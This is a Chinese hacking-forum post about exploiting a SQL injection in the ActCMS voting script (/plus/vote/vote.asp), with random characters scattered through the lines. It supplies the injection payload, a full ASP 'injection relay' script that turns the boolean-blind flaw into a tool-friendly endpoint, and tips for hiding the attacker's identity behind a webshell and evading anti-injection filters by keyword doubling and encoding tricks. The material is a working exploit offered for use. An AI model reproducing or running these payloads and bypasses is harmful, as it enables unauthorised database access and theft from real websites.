找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2244|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
+ q1 ]1 S. h# m  K$ `6 l* E( `0 z
看到ninty大牛的blog的一篇文章
, z& X; s3 A; o* x$ z$ B链接标记[url]http://www.forjj.com/?action=show&id=80[/url]5 x( P3 K8 V5 Z0 t6 T
关于actcms漏洞的利用  by 3x qq:381862589
' M5 b2 G/ z( `1 b( T% ^& V转载请注明以上
  @9 G# U2 X1 a+ Q- T6 \& T漏洞文件:
+ H! ~1 N) j4 k0 M/plus/vote/vote.asp
9 y3 z( p* i) l. u. I代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    , ^, e' u" b6 L0 R
% R; l$ Y+ P( Q: L1 V' p
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
" j3 X0 S1 V8 Z& s: f3 g4 i) L9 y  H3 A
3    response.end    8 C1 y2 e7 O7 X8 u
' b. e- d% P5 Y: Q8 v& b8 _/ x; B' a8 A
4    end if   
8 H5 L4 h" e: O# J: Y( ~4 R0 W
2 X7 `6 U, a7 V" k5    for i=1 to request("voted").count   
- f9 t/ N- ^! p* V; `" C5 i; {4 _4 _7 u7 ]; H7 s% B
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
0 y- W$ Z$ J) v2 a; X! R8 B! e1 s9 B/ m6 _! a2 h
7    next    ) }, U  e- `# d) Y
. o5 g# \. p) U4 c5 y
8....   
* M# {! G% o) ]4 ~. u3 x0 U. Y% J" k1 k. ^; s7 n; }- K& c
9response.Redirect "index.asp?id="&id&""   
) J9 W8 O0 Q5 J: N$ T投票结束回跳转回index.asp这个投票结果页面4 c& P0 @7 z; N
如果投票成功票数加1* [/ F7 w' W- I/ a7 }( H; @
            失败票数不变) U! s6 B% n0 o$ N5 U( W: q2 F
如图:
8 r  B  a  U% B) jhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
; U8 L' s% z; H8 q% X+ w) A0 x6 y3 B  H& [) p
2009-12-27 13:203 I7 Z; b& @/ j# @- r+ A
" }7 Y5 ?4 E: W; W6 N: n
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
- O9 }* V8 t) v8 k0 ?; I. T5 W3 o! a( w2 ^; `
本帖隐藏的内容需要回复才可以浏览
6 {1 V! K8 g4 k* m* _+ N6 u我们用注入中转来实现这个注入具体代码如下:- _% z, g. V$ ?7 g6 v* c/ G/ ~
先用寂寞的刺猬大牛的注入中转生成jmget.asp
3 z% M* ], h/ O4 r( u% ~  m) q  g注入地址:http://localhost/actcms/plus/vote/vote.asp
5 O& d1 J  c) O) h# U( R注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
1 C3 H: M8 W# x; Y- s
4 ~7 O: _$ h" V) o然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 C+ o, F0 m0 b* e" W) i
0 ]- `$ k. t6 w4 p! W
02JmdcwName=request("jmdcw")
, P3 Q& j4 A/ g+ E2 s+ p9 S, _7 b: ^. E  e) J. K
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
3 `' @. L5 Q( G+ d  i
3 E% ^$ z$ t2 \& l7 ~04JmStr="id=1&voted=-1 or 1="&JmdcwName
: F1 C: t' y& Z
7 a3 t( |( K% @! @) L2 A0 R: f/ T05JmStr=URLEncoding(JmStr)
5 g5 K) ~! C$ C. A
0 X5 x( R' L. x- W+ w06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"/ n, A1 o- e/ N# F0 v$ K+ ?, Y- v

  ^) o; ]- A2 I& e* `07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"# l" b, J5 U1 h) k! w8 z
  {/ r0 E1 i& ~
08testurl=testurl & "?" & JmStr
/ u! s" v" P% N) _9 X, j& Q1 e* Y7 X8 V7 c8 f2 t9 y
09JMUrl=JMUrl & "?" & JmStr
6 r/ Z0 K+ s  [2 I3 U' p+ m# \$ a6 _  X
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"6 d5 R2 Q. `4 ?8 w/ u
1 V1 G- {% m/ ]- X8 X  ~
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
2 O, V1 j1 i. g4 R. E/ Y
) k, e4 T) }1 C$ h6 x2 c12JmCok=replace(JmCok,chr(32),"%20")  
  ~& H# B- X$ s6 i/ Y  n9 Z
$ L5 w. k) e# q9 [$ H  R13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
% Z$ M. i& L9 s/ Q! q1 o% \7 k/ L& d7 ?8 W1 ]6 k
14  % O; [6 j' ~( X. ^8 z" k; C* U

& |1 R: M5 z/ F7 W2 f( B15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
0 S+ Z4 Z* V2 o% v" h& Z+ X& H( v5 w
16  ; l) G) b2 q0 |5 h) I

9 \) J1 L  G6 D/ }1 v: `0 @17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
1 S, S: p, O- K$ S# Y8 I
4 N0 [: J. N% q8 p( W1 T6 `( c7 L18response.write test1&""&test2&""
' f: z: u( b  b1 h; m2 F: Y5 w# n7 i4 W2 j' [6 L
19  
. Z& V0 P5 |8 D
6 ?2 [5 g$ \6 e8 n6 `! Z& \1 J20if test1=test2 then '如前后记录相等,表示失败 ! z$ l7 C+ g8 J4 s% B

1 m2 V/ ]$ V. k$ p& w/ @21  response.write "failed"5 K" x# d9 M9 U$ Q5 E7 v4 U
5 E+ b. }! v$ P' W) X" U
22else
" k! J1 C+ m7 {0 k6 t. H  H7 C- E% U1 W4 J# S- v
23  response.write "succeed"
+ f( Z2 G2 T7 o- n6 [
  N" o) K7 {; T) }24end if  
; {' O: Q1 k# F8 x, q% m8 Z' \" @+ n6 ~  S
25  / U/ n" Z9 Z- m9 j1 C) L& E
& ^" S1 A" g+ d" K
26response.write "by 3x"
( h% p2 |' M9 b$ }# S9 D& [
, x) p/ |8 i! t27  ; m( b# x; m) q. A

# k- |4 k! l1 D4 q$ h& T28  ) {8 u" q* w! ]! n
0 Q5 e$ P1 z0 y* n1 E2 y& c
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   9 f* S5 T4 n9 u! i4 Q3 J

. m6 H- I7 A0 a4 v6 h6 g; R30Dim Http
5 Z6 b/ k' f! M4 `; M5 a- R7 {8 F$ b; w" m) b
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ! y* N- R/ I% H7 c+ l4 Y/ x
9 l' ~8 K8 N2 t4 ?- p1 u' W! A  ?
32With Http
) C# U% F6 ~% t; h& K! L( M6 `& E  x
33  ; @/ i0 d4 Z# W3 ]. U
. ~& |0 l$ r7 I# `
34.Open "GET",PostUrl,False. r: s7 ^; E6 l9 ^. b

8 {" l6 l- _  A6 l. u! {6 P35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"5 ^1 }6 I9 s% _% r9 `# o2 x; [4 z

" N" `5 Q0 h8 I36.SetRequestHeader "Referer",PostRef
/ s" s  }) Z5 I, w
, w! G) X5 I/ `2 o37.SetRequestHeader "Cookie",PostCok
- S4 n7 I! x! J$ o; w3 X7 N! _) H0 [5 y( Y1 D' A. `. S
38.Send ()
. [. }! c+ e. m4 w- r+ q* k3 _/ U* p7 C- X8 t( I+ f) X# L% i
39PostData = .ResponseBody $ o; m7 M. q* ~- H" s2 q) j9 O1 Z
! H0 I+ V4 J/ x2 u- F
40End With
, ?, t9 _& g& j1 v$ v; O9 o9 Y- z. Y$ {# j6 T6 l; V5 O
41Set Http = Nothing
5 J* o" x: b! C$ Y
* H' A' v* m/ o! L- Z6 I42PostData =bytes2BSTR(PostData)
# a0 z8 B! i! _9 X2 A* U
4 f$ r. ~2 I# b4 J43End Function
; B4 h; h0 _7 o% L2 e
9 `0 c4 i( z" z5 B* d$ X44  + b' G- x/ t9 Y1 p, K; k% Z
/ o% `- [: R, ~9 c+ w7 X
45  
  o# N. x( H; q! `
( s" }* H& D4 c9 U" V* J46Function bytes2BSTR(vIn) , v8 ?8 o  G. ^% c* Z

* S) `9 D& y: E: F9 \  n47Dim strReturn
7 V* D) V( F* L: C# J% |0 z) E6 D# M& B$ Q8 Z. K
48Dim I, ThisCharCode, NextCharCode
2 x9 R  v  Q- [0 q
' q' b" d% w6 T9 g" f8 M49strReturn = ""6 ^. J* p1 _) m" k, [7 N

7 s  N" D1 b4 Z  A, B50For I = 1 To LenB(vIn) 2 d) g4 w2 _! O; g+ J. B

8 L: I- v- `- q6 t: Z* S) `51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 {' G; r3 C* X. \; [, _  n
/ x) S6 [. F- d( D# M$ `
52If ThisCharCode < &H80 Then5 E# Q* ?7 R5 N! b8 H5 h# K+ }

) u( y2 {1 {( T) D. b1 W53strReturn = strReturn & Chr(ThisCharCode) $ u, ^4 Q. H" C' I
- i3 A1 P4 P) y; W9 J3 ]
54Else
- s/ t, T9 a7 j9 f! f5 X& Q5 e& M, C- M, J: Z: {
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) * ?# o1 X9 P) b  N# n0 l0 k
! h  ]2 i# q$ b: [0 v
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) & ~; I" _) x7 i8 ~3 F4 r8 S" t. u5 ?
2 A! O& Q4 ~4 l1 |
57I = I + 1 1 J, ~& o6 U. B0 x4 ~9 A& t( H
" E9 A6 _  i& h* n' l$ f
58End If& d" u5 B# q% s( C( m: l6 X
, ~( o! U1 |. T. @' N
59Next
9 T5 z# j8 e. L3 v
1 V4 z- I1 h9 o  L, \: N& R60bytes2BSTR = strReturn ! J- a* B$ S* f4 W, K7 v
  T7 g; M' n& n9 V+ z' D
61End Function- Y+ x& t9 f! K1 T0 X! x: Y* {. a5 n

+ l1 K- N; y/ K9 ]$ T/ J62  
" B8 h1 o& p. H, R6 o& B+ U$ W3 S1 b9 |, T
63Function URLEncoding(vstrin)  
5 c9 v* I9 p( X3 w2 I8 M4 O  g( d$ B/ m, i# v6 J, t8 P
64strReturn=""
' E3 k. |2 E# T4 d  J- G" I6 H0 t0 N5 S. m
65Dim i 0 e0 V$ A  C( g/ T, `, {0 g

2 k6 C2 Q  H+ w. P. O66For i=1 To Len(vstrin) 9 Q+ t& L  U  v
, t/ N$ }2 q: C: C4 H0 V
67ThisChr=Mid(vstrin,i,1) 1 Y2 J; X7 u2 O5 E. d: _& E% i
+ c# k' n6 X- }$ s* _0 x, S$ I
68if Abs(Asc(ThisChr))< &HFF Then
4 B7 e5 O$ D; z1 j% U+ a6 G' O8 K8 i0 P& F) {6 C
69strReturn=strReturn & ThisChr
% ]3 D8 O* D# I6 z( b1 m6 O8 y" t! L, ?! W" D1 J
70Else
# j& v0 t" Y6 [& {
9 k  A6 f5 F$ `71InnerCode=Asc(ThisChr) ! ~9 w" k" A7 z1 z, U

0 @  D8 ]4 n4 |5 A, j72If InnerCode<0 Then/ I  O. N) {0 \+ [2 {3 }$ e
" n( x' k' ]# r1 Z9 p: z% M, N
73InnerCode=InnerCode + &H10000 3 R9 ^( y& E! u( X0 P$ e
* G* R% N9 X9 k3 d% L! O
74End If
' Y8 v# i2 B: O) E3 W/ e
7 Z* _, O$ r, g: E% h9 V75Hight1=(InnerCode And &HFF00) \&HFF ( s) m  x! W$ Q  U

2 }) U2 a- q2 S% Y5 m1 |# o& E" b' d76Low1=InnerCode And &HFF
: X! I' ]8 F+ `% q2 X& a  z$ Y& K9 k7 f# {8 h8 y! l4 E6 ?/ _
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- d4 ]* H9 B+ A% {" v2 Q
6 q$ P# |! _2 T78End if
* d" U2 s( J1 x. y& H8 E0 X9 l! Z9 u0 c( b( a$ B( x
79Next5 Z9 ?! E; A. q8 z/ i1 |* ^) @

- y' L% r0 s0 @& y% i80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 0 u, c% n  o2 C, K, l2 q3 z2 y

& ?8 T! z7 c  G" |; P81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 % e4 q) G- ~" L( u

, `- f7 n; s0 K# H' h82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 / _' I6 w+ X9 ]5 x1 B+ G6 A! r
+ d7 u- i# k! ^1 j) d7 b& Q
83URLEncoding=strReturn
5 W! b  D2 U0 [& f, u1 R) T1 \7 V+ P& W" Z
84End Function
# u9 j4 U! i2 Y8 i# f) q) A
  z. d) `" [1 A4 n* R) D85  
" O- a' I; _5 R% a' W
- x! Y: k$ E5 C9 T1 D$ T86function getSt(body) 5 v/ Q% ~3 U: v
5 U6 ~0 w! h' D2 ^  x
87  startpot=instr(body,"投票人数:")+len("投票人数:")
! ^8 v* Y8 G5 C* G, f$ L' X# h
0 z) G$ o- t; `88  endpot=instr(startpot,body," ")
( f8 y* ?& r9 N8 y$ b- W, n
# Z; x# ?! F% S. R) D89  getSt=mid(body,startpot,endpot-startpot)
8 Y$ _/ |" t/ D% q$ b  i' ~+ Y2 q  T8 C: ^6 v7 Q0 m( l* E
90end function
* h3 ~1 s7 q4 u* P, }+ R6 T* W2 e' `/ Y1 ^* [! Y" R, ^9 I( `( O& q
91%>7 }* o. A9 ], H% y* T4 g
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了% `; A' {# w0 g: m4 }
测试下效果:
9 C2 G2 y3 C, c, c投票成功:
( `! s; X& n2 o/ b, r' c. D6 ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 v1 A* \4 H- k: p

+ s& {7 V% P  F, \* i2009-12-27 13:29
$ M- p- B' ^) \" y9 f1 J投票失败
% R) h! y( G4 @7 r9 @http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB); I1 u1 j- x% w9 ~7 O& j  L9 v- N

! F( Q! v" ^8 V+ t" g2009-12-27 13:298 ^& v+ G+ P. v
-------------------------------------------------------------------------------. J3 v% t, I$ S/ w3 N4 c* O& {' d6 w* M
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以- O6 [. b9 w: H- X# q# R, ~
很抱歉。。。只能用单线程工具去注入。。。。。
# {1 W0 {, y' j$ O6 a+ l4 j所以失败。。。不好意思。。。0 Q; d2 V" h5 G* y5 N
-------------------------------------------------------------------------------' S4 J6 y9 {% U  b: n
% R0 k' J4 s; D5 U
注入中转的一些其他应用: @4 [# t0 W7 @2 A- z
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了  w3 U- E+ q1 n: G, {9 ^9 i# {& M
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
% y4 c' @1 R" ?4 P+ {% Q6 ]2.post注入转成get型的注入,方便我们使用工具来跑
0 G+ O; H3 l% d( c3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
1 c; Y6 M5 i! @. l% F3 k) p: x4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过, J% [$ J% y0 ?4 T2 O( V1 G9 {

7 q) H# {: M* y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表